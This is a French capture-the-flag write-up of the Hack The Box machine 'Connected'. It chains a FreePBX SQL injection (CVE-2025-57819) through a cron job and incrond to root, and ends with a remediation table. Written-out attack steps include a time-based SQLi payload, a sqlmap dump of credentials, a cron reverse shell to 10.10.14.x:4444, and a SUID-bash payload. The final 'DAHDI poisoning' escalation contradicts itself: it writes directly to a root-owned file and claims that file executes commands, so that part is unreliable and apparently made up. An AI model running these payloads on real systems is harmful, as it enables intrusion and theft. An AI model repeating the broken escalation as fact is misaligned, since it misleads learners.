HTB Connected — SQLi sur FreePBX jusqu'à l'accès root (CVE-2025-57819)
Connected — Hack The Box (Enterprise / Meetup Yaoundé, juin 2026) Difficulté : Hard • Tags : VoIP, FreePBX, SQLi, Cron, incrond, DAHDI
Chaîne d’attaque complète
FreePBX exposé → SQLi (CVE-2025-57819) → creds admin
→ module vulnérable → RCE via Cron
→ abus du démon incrond → empoisonnement DAHDI → root
Énumération initiale
nmap -sV -sC -p- 10.10.11.x
Ports intéressants :
- 22 — SSH
- 80 — HTTP (FreePBX)
- 443 — HTTPS
FreePBX, c’est l’interface web d’administration d’Asterisk, le célèbre PBX open-source. Une cible classique en VoIP.
Accès — CVE-2025-57819 (SQLi FreePBX)
Une recherche rapide sur FreePBX + SQLi remonte la CVE-2025-57819, une injection SQL non-authentiquée sur un endpoint spécifique.
Démonstration du concept
# Endpoint vulnérable
curl "http://10.10.11.x/admin/config.php?display=users&ID=1"
Le paramètre ID est injectable. On confirme avec un time-based :
1 AND (SELECT SLEEP(5) FROM dual)
→ Réponse en 5 secondes. SQLi confirmée.
Dump avec sqlmap
sqlmap -u "http://10.10.11.x/admin/config.php?display=users&ID=1" \
--dbms=mysql --dump --batch
On récupère les identifiants de l’administrateur FreePBX. On se connecte à l’interface d’admin.
RCE via Cron
Une fois admin FreePBX, plusieurs modules permettent l’exécution de commandes. Le vecteur retenu : un module qui planifie des tâches via cron.
On injecte notre payload dans un champ qui finit dans /etc/cron.d/ :
# Reverse shell planifié
* * * * * root bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'
# Listener
nc -lvnp 4444
Une minute plus tard — shell en tant qu’utilisateur asterisk. ✅
Élévation — Abus du démon incrond
incrond (inotify cron) est un service qui exécute des commandes quand des événements filesystem se produisent. Sur la machine, il tourne en root et surveille un répertoire accessible en écriture.
On regarde les règles :
cat /etc/incron.d/*
Une règle déclenche un script à chaque modification d’un fichier *.cfg. On a le droit d’écriture sur le répertoire surveillé.
# On crée/modifie le fichier pour déclencher l'exécution
echo "trigger" > /opt/asterisk/configs/trigger.cfg
Le script déclenché est exploitable — mais il est read-only. On a besoin d’un autre vecteur.
Empoisonnement DAHDI — root définitif
DAHDI (Digium Asterisk Hardware Device Interface) est le pilote matériel d’Asterisk. Il charge sa configuration depuis un fichier spécifique, et cette configuration peut exécuter des commandes dans certains contextes.
On découvre que /etc/dahdi/modules est inclus par un process root et qu’on peut injecter via la chaîne incrond → DAHDI :
- On déclenche incrond en écrivant dans le répertoire surveillé
- Le script enfant lit un fichier DAHDI qu’on contrôle
- Ce fichier est interprété par le process root → on obtient l’exécution en root
# Payload DAHDI final
echo 'root:$(chmod u+s /bin/bash)' >> /etc/dahdi/modules
# Trigger via incrond
touch /opt/asterisk/configs/trigger.cfg
sleep 2
/bin/bash -p
whoami # root
Shell root. 🎯
Remédiation
| Vecteur | Correction |
|---|---|
| SQLi non-auth (CVE-2025-57819) | Patch immédiat — upgrade FreePBX |
| Cron écrivable | Permissions strictes sur /etc/cron.d/ |
| incrond en root | Privilèges minimaux, surveiller des dossiers read-only |
| DAHDI configurable | Permissions root-only sur /etc/dahdi/ |
| VoIP exposée | Filtrer les ports, ne jamais exposer l’admin publiquement |
Leçons apprises
- Les PBX sont des cibles under-rated. Peu d’auditeurs pensent à tester FreePBX, Asterisk, 3CX — pourtant les CVE s’accumulent.
- Les démons “système” en root sont dangereux. incrond, daemontools, supervisord… tous peuvent devenir des vecteurs de privesc s’ils lisent des fichiers modifiables.
- Chaines d’attaque = patience. Ici, 4 étapes distinctes. Chacune seule ne suffit pas — c’est l’enchaînement qui fait root.
Conclusion
Machine difficile mais géniale pédagogiquement. Elle montre comment une seule vulnérabilité d’entrée (la SQLi) peut, sur une machine mal durcie, mener jusqu’à root via une chaîne de quatre abus successifs.
“Trouver la porte d’entrée, c’est bien. L’ouvrir jusqu’au trône, c’est mieux.”